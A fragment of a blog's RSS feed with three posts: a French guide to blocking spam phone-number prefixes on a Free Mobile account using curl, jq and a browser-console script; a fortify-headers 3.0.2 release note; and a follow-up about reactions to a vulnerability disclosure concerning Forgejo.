&lt;span class="gp"&gt;$ &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--silent&lt;span class="w"&gt; &lt;/span&gt;https://saracroche.org/api/v1/lists/french-list-arcep-operators&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;jq&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.patterns[] | select(.pattern | contains(&amp;quot;###&amp;quot;))&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wc&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;span class="go"&gt;1541&lt;/span&gt;
&lt;span class="gp"&gt;$ &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--silent&lt;span class="w"&gt; &lt;/span&gt;https://saracroche.org/api/v1/lists/french-list-arcep-operators&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;jq&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.patterns[] | select(.pattern | contains(&amp;quot;###&amp;quot;))&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wc&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;span class="go"&gt;1541&lt;/span&gt;
&lt;span class="gp"&gt;$ &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--silent&lt;span class="w"&gt; &lt;/span&gt;https://saracroche.org/api/v1/lists/french-list-arcep-operators&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;jq&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.patterns[] | select(.pattern | contains(&amp;quot;##&amp;quot;))&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wc&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;span class="go"&gt;1541&lt;/span&gt;
&lt;span class="gp"&gt;$ &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--silent&lt;span class="w"&gt; &lt;/span&gt;https://saracroche.org/api/v1/lists/french-list-arcep-operators&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;jq&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.patterns[] | select(.pattern | contains(&amp;quot;#&amp;quot;))&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wc&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;span class="go"&gt;1541&lt;/span&gt;
&lt;span class="gp"&gt;$ &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--silent&lt;span class="w"&gt; &lt;/span&gt;https://saracroche.org/api/v1/lists/french-list-arcep-operators&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;jq&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.patterns[] | select(.pattern)&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wc&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;span class="go"&gt;1541&lt;/span&gt;
&lt;span class="gp"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Je suis parti sur du &lt;code&gt;#####&lt;/code&gt;, soit 100.000 numéros par blocage, en me réservant
évidement la possibilité de descendre plus bas si cela s'avère nécessaire.
Suivez votre cœur et prenez la granularité que vous voulez.&lt;/p&gt;
&lt;p&gt;Un petit coup de &lt;code&gt;jq&lt;/code&gt;/&lt;code&gt;sed&lt;/code&gt;/&lt;code&gt;tr&lt;/code&gt; d'une rare élégance pour mettre tout ça en
forme:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--silent&lt;span class="w"&gt; &lt;/span&gt;https://saracroche.org/api/v1/lists/french-list-arcep-operators&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;jq&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.patterns[] | select(.pattern | contains(&amp;quot;#####&amp;quot;)) | .pattern &amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s/^&amp;quot;33/&amp;quot;0/ ; s/#//g ; s/&amp;quot;$/*&amp;quot;,/&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tr&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;
&lt;span class="go"&gt;&amp;quot;0162*&amp;quot;, &amp;quot;0163*&amp;quot;, &amp;quot;0270*&amp;quot;, &amp;quot;0271*&amp;quot;, &amp;quot;0377*&amp;quot;, &amp;quot;0378*&amp;quot;, &amp;quot;0424*&amp;quot;, &amp;quot;0425*&amp;quot;, &amp;quot;0568*&amp;quot;, &amp;quot;0569*&amp;quot;, &amp;quot;0948*&amp;quot;, &amp;quot;0949*&amp;quot; &amp;quot;09475*&amp;quot;, &amp;quot;09476*&amp;quot;, &amp;quot;09477*&amp;quot;, &amp;quot;09478*&amp;quot;, &amp;quot;09479*&amp;quot;, &amp;quot;07568*&amp;quot;, &amp;quot;07569*&amp;quot;, &amp;quot;07809*&amp;quot;,&lt;/span&gt;
&lt;span class="gp"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Pour bloquer tout ce joli monde,  il suffit de se rendre sur
&lt;a href="https://mobile.free.fr/account/mes-services/filtres"&gt;https://mobile.free.fr/account/mes-services/filtres&lt;/a&gt;, et de coller le bout de
JavaScript suivant dans la console du navigateur.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;phonePatterns&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0162*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0163*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0270*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0271*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0377*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0378*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0424*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0425*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0568*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0569*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0948*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0949*&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;09475*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;09476*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;09477*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;09478*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;09479*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;07568*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;07569*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;07809*&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;saveUrl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/account/mes-services/filtres?action=save&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;existing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.f-rules__item--msisdn&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hasRule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;existing&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;phonePatterns&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hasRule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Règle déjà présente: &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;rule-id&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;direction&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Spam&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;full-day&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;full-week&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;media&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;saveUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Content-type&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;application/x-www-form-urlencoded&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;log&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;error&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]((&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;[OK]&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;[KO]&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Toutes les règles ont été parcourues&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Tue, 16 Jun 2026 23:00:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2026-06-16:/b/bloquer-le-spam-telephonique-chez-free-mobile.html</guid><category>misc</category></item><item><title>fortify-headers 3.0.2</title><link>https://dustri.org/b/fortify-headers-302.html</link><description>&lt;p&gt;There is a new minor release of
&lt;a href="https://git.2f30.org/fortify-headers/"&gt;fortify-headers&lt;/a&gt;, namely 3.0.2. Minor
releases means no new features, only bug fixes and improvements, mainly about
portability regarding weird compilers. Oh and also a lot more tests. There
are &lt;a href="https://github.com/jvoisin/fortify-headers/compare/3.0.1...3.0.2"&gt;only 16
commits&lt;/a&gt;
since the last release, so I think we can skip the proper changelog for this
one.&lt;/p&gt;
&lt;p&gt;Adoption-wise, Alpine Linux recently moved from 1.1 to 3.0.1, bringing
&lt;code&gt;FORTIFY_SOURCE=3&lt;/code&gt; to all its users. The main goal is this release is to have
fortify-header there, without any patches/fixes. We'll see how it goes.&lt;/p&gt;
&lt;p&gt;As is now usual, the release is available on
&lt;a href="https://github.com/jvoisin/fortify-headers/releases/tag/3.0.2"&gt;github&lt;/a&gt;, and
the tag has been pushed on
&lt;a href="https://git.2f30.org/fortify-headers/refs.html"&gt;2f30&lt;/a&gt; as well.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Sun, 10 May 2026 01:15:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2026-05-10:/b/fortify-headers-302.html</guid><category>security</category></item><item><title>Follow-up to Carrot disclosure: Forgejo</title><link>https://dustri.org/b/follow-up-to-carrot-disclosure-forgejo.html</link><description>&lt;p&gt;Since I published &lt;a href="https://dustri.org/b/carrot-disclosure-forgejo.html"&gt;Carrot disclosure:
Forgejo&lt;/a&gt; two days ago, numerous things
happened:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Friends of mine were reached out to, to "talk to me from a place of trust",
  or simply to convey to them in great details what an horrible person I am,
  which they found hilarious.&lt;/li&gt;
&lt;li&gt;The &lt;a href="https://infosec.exchange/@jvoisin/116488420408417722"&gt;toot&lt;/a&gt; linking to
  the blogpost was removed from infosec.exchange by an overzealous moderator
  after it had been reported multiple times by multiple people. I thus moved to
  mastodon.social, where it was also removed with "Irresponsible disclosure"
  given as a reason. So I moved back to infosec.exchange, where the toot was
  restored. In the meantime, friends handed me invitations for various mastodon
  instances, which I'm grateful for.&lt;/li&gt;
&lt;li&gt;Numerous instances of the eternal vulnerabilities disclosure debate spawned.&lt;/li&gt;
&lt;li&gt;Some exploit-writer friends of mine complained that I brought unwanted
  attention to an easy target.&lt;/li&gt;
&lt;li&gt;The Netherlands deployed a &lt;em&gt;sovereign software forge&lt;/em&gt; in the form of a
  &lt;a href="https://code.overheid.nl/"&gt;public forgejo instance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Everyone had an opinion on
  &lt;a href="https://infosec.exchange/@jvoisin/116488420408417722"&gt;mastodon&lt;/a&gt; on this,
  mostly on what I should do with the vulnerabilities I found, and was really
  vocal about it, especially people who aren't related to computer security. It
  seems that we're still in the "fixing bugs will make us more secure" era,
  which is a bit sad. I also, of course, got called a handful vile names.&lt;/li&gt;
&lt;li&gt;The terms "not professional" (as in "not acceptable in a professional
  environment") has been thrown around a lot, but nothing here is or was being
  done in a professional context.&lt;/li&gt;
&lt;li&gt;Forgejo's &lt;a href="https://codeberg.org/forgejo/governance/src/commit/5c07b3801537212ed6be1edfec298d7b004ce92d/SECURITY-POLICY.md"&gt;security
  policy&lt;/a&gt;
  was copiously made fun of.&lt;/li&gt;
&lt;li&gt;I got a tone deaf email from Forgero's moderation team, to my arguably
  tone-deaf blog post, which I think is funny.&lt;/li&gt;
&lt;li&gt;I've learnt that the role of &lt;a href="https://forgejo.org/docs/next/contributor/discussions/#security"&gt;Forgejo security
  team&lt;/a&gt; is to 
  "take care of security vulnerabilities and to handle sensitive
  security-related issues reported to security@forgejo.org using encryption."
  Doing anything proactive isn't in their attributions.&lt;/li&gt;
&lt;li&gt;Various entities, including some with security teams, revised their judgment
  about what Forgejo is and isn't, which was the main goal of the previous
  blogpost.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nonetheless, some productive good faith conversations have been had as well,
and it seems that experimenting with odd vulnerability disclosure schemes is
frowned upon. So I ended up sending an email to Forgejo security team,
containing: an apology, a bit about my reasoning for proceeding with carrot
disclosure, recommendations about what to harden/review, and a bunch of
commented exploits/proof-of-concepts as attachment. We'll see how it goes.&lt;/p&gt;
&lt;p&gt;On a more personal note, I found the amount of flak and hate completely wild,
and I think I would have got way less had I simply decided to go with full
disclosure. Heck, even a "found cool bugs in Forgejo, sold them for peanuts
lol" would probably have been better received. But as a
&lt;a href="https://anarc.at/"&gt;friend&lt;/a&gt; explained to me: "everyone loves the puppy, but
also knows how weak it currently is, and you kicked the puppy, yelling about
how weak the fucker is.", which is an apt metaphor I guess.&lt;/p&gt;
&lt;p&gt;And now, some out of context anonymous quotes on the topic, from friends and
foes, taken from &lt;a href="https://news.ycombinator.com/item?id=47941590"&gt;HackerNews&lt;/a&gt;,
&lt;a href="https://lobste.rs/s/swbkcl/carrot_disclosure_forgejo"&gt;lobste.rs&lt;/a&gt;,
&lt;a href="https://lwn.net/Articles/1071499/"&gt;LWN&lt;/a&gt;, Mastodon, Bluesky, and various IRC
channels, ordered by length, for no other particular reasons than to add some
colouring (and let's be honest, a bit of much needed comic relief) to this
whole event:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;epic&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;grim&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;yikes&lt;/p&gt;
&lt;/blockquote&gt;
